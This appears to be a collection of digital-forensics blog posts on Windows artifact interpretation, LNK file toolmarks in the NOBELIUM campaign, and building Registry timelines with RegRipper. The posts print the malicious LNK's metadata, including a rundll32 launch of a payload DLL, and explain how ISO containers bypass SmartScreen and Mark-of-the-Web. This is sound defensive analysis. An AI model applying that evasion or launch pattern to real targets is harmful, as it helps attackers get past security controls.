This JumpSec Labs article does a good job of discussing data sources and tools that can be used in the absence of Windows Event Logs. However, there are a couple of items that do need to be mentioned; for example, artifacts should never be viewed in isolation from each other, as context is missed. In the article, the author mentions the use of Prefetch files, and then the AppCompatCache/ShimCache, to demonstrate program execution. Rather than being viewed separately, these should be viewed together whenever possible. The reason is that 32-bit Windows XP was the only version of Windows where the AppCompatCache data recorded a second time stamp, indicating the time of last execution; in all other instances, the available time stamp is the last modified time extracted from the $STANDARD_INFORMATION attribute within the MFT. I've seen cases over the years...not just my own cases, but also investigations discussed during conference presentations...where the threat actor placed the EXE on the system and "time stomped" it before executing it. In one instance (shared at a conference in 2015) the misinterpretation of this data had a profound, negative impact on the "victim", as it was a PCI case and the "window of compromise" was 4 yrs, rather than a couple of weeks.

All of this is to say that I highly recommend the intentional, purposeful use of tools to further forensic analysis. However, at the end of the day, it is still incumbent upon the analyst to correctly interpret the data presented by the tools, and this interpretation is often heavily impacted by the completeness of data collection and parsing.

Artifact Constellations
As discussed the JumpSec Labs article, analysts may encounter systems upon which some data sources are not readily accessible. The article describes threads that analysts can pursue in the absence of Windows Event Logs, but something the article doesn't touch on is "artifact constellations"; that is, when some action occurs on a system, there are often secondary and tertiary artifacts created that, when considered together, provide much greater evidence of activity.

Articles like this one do a great job of illustrating some of the different artifacts available, but it is still up to the analyst to complete the constellation, and to correctly interpret the data. 

Spelling & Grammar
Take spelling and grammar seriously. I know a lot of folks don't, and that when someone points out poor spelling, they're referred to as the "grammar police" or as a "spelling Nazi". 

However, consider this...let's say you work for me, and don't care about spelling or grammar. Now, I have to review EVERYTHING you produce before it goes to the next level, be it an internal executive or a customer. I know that every time you send me a report or an email via Outlook, it's going to be full of words with red squiggly underlines...you know, MSWord's way of saying, "hey, you misspelled this word...". Once those are corrected, I still have to spend a great deal of time reviewing what you wrote, because now I have to deal with incorrect grammar, incomplete sentences, and correctly spelled but incorrect words.

Let's reduce it a little bit...what happens when you transpose an IOC? Let's say you transpose an IP address or a domain name to be blocked, and you misspell it...what happens then? Well, the IOC intended to be blocked isn't, and the organization isn't any better off;  in fact, it's worse because everyone thinks the correct IOC has been submitted. 

What happens when you misspell a Registry value name (or the data) for a setting on a critical system? The system doesn't recognize the value (or data), and the intended functionality is not applied.

Apply the same thought to threat hunting, either as part of a proactive threat hunt or a DFIR threat hunt. Or, if you're looking for an IOC in logs...either way, you misspell it and report, "...nothing found...", what's the result?

Now, let's look at it another way...I work for you, and I'm the one who's not spelling things correctly. In what position does that place you?

Toolmarks: LNK Files in the news again

 As most regular readers of this blog can tell you, I'm a bit of a fan of LNK files...a LNK-o-phile, if you will. I'm not only fascinated by the richness of the structure, but as I began writing a parser for LNK files, I began too see some interesting aspects of intelligence that can be gleaned from LNK files, in particular, those created within a threat actors development environment, and deployed to targets/infrastructures. First, there are different ways to create LNK files using the Windows API, and what's really cool is that each method has it's own unique #toolmarks associated with it!  

Second, most often there is a pretty good amount of metadata embedded in the LNK file structure. There are file system time stamps, and often we'll see a NetBIOS system name, a volume S/N, a SID, or other pieces of information that we can use in a VirusTotal retro-hunt in order to build out a significant history of other similar LNK files.

In the course of my research, I was able to create the smallest possible functioning LNK file, albeit with NO (yes, you read that right...) metadata. Well, that's not 100% true...there is metadata within the LNK file. Specifically, the Windows version identifier is still there, and this is something I purposely left. Instead of zero'ing it out, I altered it to an as-yet-unseen value (in this case, 0x0a). You can also alter each version identifier to their own value, rather than keeping them all the same.

Microsoft recently shared some information about NOBELIUM sending LNK files embedded within ISO files, as did the Volexity team. Both discuss aspects of the NOBELIUM campaign; in fact, they do so in a similar manner, but each with different details. For example, the Volexity team specifically states the following (with respect to the LNK file):

It should be noted that nearly all of the metadata from the LNK file has been removed. Typically, LNK files contain timestamps for creation, modification, and access, as well as information about the device on which they were created.

Now, that's pretty cool! As someone who's put considerable effort into understanding the structure of LNK files, and done research into creating the smallest, minimal, functioning LNK file, this was a pretty interesting statement to read, and I wanted to learn more.

Taking a look at the metadata for the reports.lnk file (from fig 4 in the Microsoft blog post, and fig 3 of the Volexity blog post) we see

guid               {00021401-0000-0000-c000-000000000046}
shitemidlist    My Computer/C:\/Windows/system32/rundll32.exe
**Shell Items Details (times in UTC)**
  C:0                   M:0                   A:0                  Windows  (9)
  C:0                   M:0                   A:0                  system32  (9)
  C:0                   M:0                   A:0                  rundll32.exe  (9)

commandline  Documents.dll,Open
iconfilename   %windir%/system32/shell32.dll
hotkey             0x0
showcmd        0x1

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasArguments|HasExpString|HasIconLocation

***PropertyStoreDataBlock***
GUID/ID pairs:
{46588ae2-4cbc-4338-bbfc-139326986dce}/4      SID: S-1-5-21-8417294525-741976727-420522995-1001

***EnvironmentVariableDataBlock***
EnvironmentVariableDataBlock: %windir%/system32/explorer.exe

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

While the file system time stamps embedded within the LNK file structure appear to have been zero'd out, a good deal of metadata still exists within the structure itself. For example, the Windows version information (i.e., "9") is still available, as are the contents of several ExtraData blocks. The SID listed in the PropertyStoreDataBlock can be used to search across repositories, looking for other LNK files that contain the same SID. Further, the fact that these blocks still exist in the structure gives us clues as to the process used to create the original LNK file, before the internal structure elements were manipulated.

I'm not sure that this is the first time this sort of thing has happened; after all, the MS blog post makes no mention of metadata being removed from the LNK file, so it's entirely possible that it's happened before but no one's thought that it was important enough to mention. However, items such as ExtraDataBlocks and which elements exist within the structure not only give us clues (toolmarks) as to how the file was created, but the fact that metadata elements were intentionally removed serve as additional toolmarks, and provide insight into the intentions of the actors.

But why use an ISO file? Well, interesting you should ask.  Matt Graeber said:

Adversaries choose ISO/IMG as a delivery vector b/c SmartScreen doesn't apply to non-NTFS volumes

In the ensuring thread, @arekfurt said:

Adversaries can also use the iso trick to put evade MOTW-based macro blocking with Office docs.

Ah, interesting points! The ISO file is downloaded from the Internet, and as such, would likely have a zone identifier ADS associated with it (I say, "likely" because I haven't seen it mentioned as a toolmark), whereas once the ISO file is mounted, the embedded files would not have zone ID ADSs associated with them. So, the decision to use an ISO file was intentional, and not just cool...in fact, it appears to have been intentionally used for defense evasion.

Registry Analysis, pt II

In my last blog post, I provided a brief description of how I perform "Registry analysis", and I thought it would be a good idea to share the actual mechanics of getting to the point of performing Registry analysis.

First off, let me state clearly that I rarely perform Registry analysis in isolation from other data sources and artifacts on the system.  Most often, I'll incorporate file system metadata, as well as Windows Event Log metadata, into my analysis in order to develop a clearer picture of the activity.  Doing this helps me to 'see' activity that might be associated with a threat actor, and it goes a long way towards removing guesses and speculation from my analysis.

For instance, I'll incorporate Windows Event Log record metadata using the following command:

C:\tools>wevtx.bat d:\case\*.evtx > d:\case\evtx_events.txt

The above command places the record metadata, decorated using intrusion intel from the eventmap.txt file, into an intermediate file, with all of the entries in the 5-field TLN format.  I can then make use of just this file, or I can incorporate it into my overall timeline events file using the 'type' command:

C:\tools>type evtx_events.txt >> events.txt

That being said, there are times when I have been asked to "take a look at the Registry", and during those times, my hope is to have something around which to pivot...a service name, a specific date and time, some particular event, etc. I'll start this process by listing all of the Registry keys in the Software and System hives based on the key LastWrite times, using the following commands:

C:\tools>regtime -m HKLM/Software/ -r d:\case\software > d:\case\reg_events.txt
C:\tools>regtime -m HKLM/System/ -r d:\case\system >> d:\case\reg_events.txt

Note: RegRipper will tell you if the hive you're accessing is 'dirty', and if so, you'll want to strongly consider merging the transaction logs into the hive prior to parsing.  I like to do this as a separate process because I like to have the original hive file available so that I can look for deleted keys and values.

If there's a suspicion or evidence to suggest that a local user account was created, then adding metadata from the SAM hive is pretty simple and straightforward:

C:\rr3>rip -r d:\case\sam -p samparse_tln >> d:\case\reg_events.txt

When I say "evidence to suggest" that the threat actor added a local account to the system, one way to check for that is to hope the right auditing was enabled, and that you'd find the appropriate records in the Security Event Log. Another way to check is to parse the SAM Registry hive:

C:\rr3>rip -r d:\case\sam -p samparse

Then, correlate what you see to the ProfileList key from the Software hive:

C:\rr3>rip -r d:\case\software -p profilelist

Looking at these two data sources allows us to correlate user accounts and RIDs to user profiles on the system.  In many cases, we'll have to consider domain accounts (different SIDs), as well.

I'll also include other specific information from the Registry hives in the timeline:

C:\rr3>rip -r d:\case\system -p shimcache_tln >> d:\case\reg_events.txt
...

I'll also incorporate the AmCache metadata, as well:

C:\rr3>rip -r d:\case\amcache.hve -p amcache_tln >> d:\case\reg_events.txt

For a user, I generally want to create a separate mini-timeline, using similar commands as above:

C:\tools>regtime -m HKCU/ -r d:\case\user\ntuser.dat -u user > d:\case\user\reg_events.txt
C:\tools>regtime -m HKCU/ -r d:\case\user\usrclass.dat -u user >> d:\case\user\reg_events.txt
C:\rr3>rip -r d:\case\user\usrclass.dat -u user -p shellbags_tln >> d:\case\user\reg_events.txt
C:\rr3>rip -r d:\case\user\ntuser.dat -u user -p userassist_tln >> d:\case\user\reg_events.txt
...

Note: If you're generally looking at the same artifacts within a hive (NTUSER.DAT, etc.) over and over, it's a good idea to open Notepad and create a RegRipper profile.  That way, you have a documented, repeatable process, all in a single command line.

Note: If you're looking at multiple systems, it's not only a good idea to differentiate users on the system via the "-u" switch, but also differentiate the system by using the "-s" switch in the RegRipper command lines.  You can get the system name via the compname.pl RegRipper plugin.

Once the events file has been created, I have a source for parsing out specific items, specific time frames, or just the entire timeline, using parse.exe.  I can create the entire timeline, and based on items I find to pivot on, go back to the events file and pull out specific items using combinations of the type and find commands.  The complete timeline is going to contain all sorts of noise, much of it based on legitimate activity, such as operating system and application updates, normal user activity (logins, logoffs, day-to-day operations, etc.), and sometimes it's really helpful to be able to look at just the items of interest, and then view them in correlation with other items of interest.

Note: If you have a standard extraction process, or if you mount images using a means that makes the files accessible, all of this can be automated with something as simple as a batch or shell script.

Once I get to this point, the actual analysis begins...because parsing and display are not "analysis".  Getting one value or the LastWrite time to one key is not "analysis".  For me, analysis is an iterative process, and what I described above is just the first step.  From there, I'll keep a viewer handy (usually MiTeC's WRR) and a browser open, allowing me to dig in deeper and research items of interest.  This way, I can see values for keys for which there are not yet RegRipper plugins, such as when a new malware variant creates keys and values, or when a threat actor creates or modifies keys. When I do find something new like that (because the process facilitates finding something new), that then becomes a RegRipper plugin  (or a modification to an existing plugin), decoration via the eventmap.txt file, etc.  The point is that whatever 'new thing' is developed gets immediately baked back into the overall process.

For example, did a threat actor disable Windows Defender, and if so how? Via a batch file?  No problem, we can use RegRipper to check the Registry keys and values.  Via GPO?  Same thing...use RegRipper.  Via an sc.exe command?  No problem...we can use RegRipper for that, as well.

What about open source intrusion intel, such as this FireEye blog post?  The FireEye blog post is rich with intrusion intel that can be quickly and easily turned into plugins and event decoration, so that whenever those TTPs are visible in the data, the analyst is immediately notified, providing pivot points and making analysis vastly more consistent and efficient.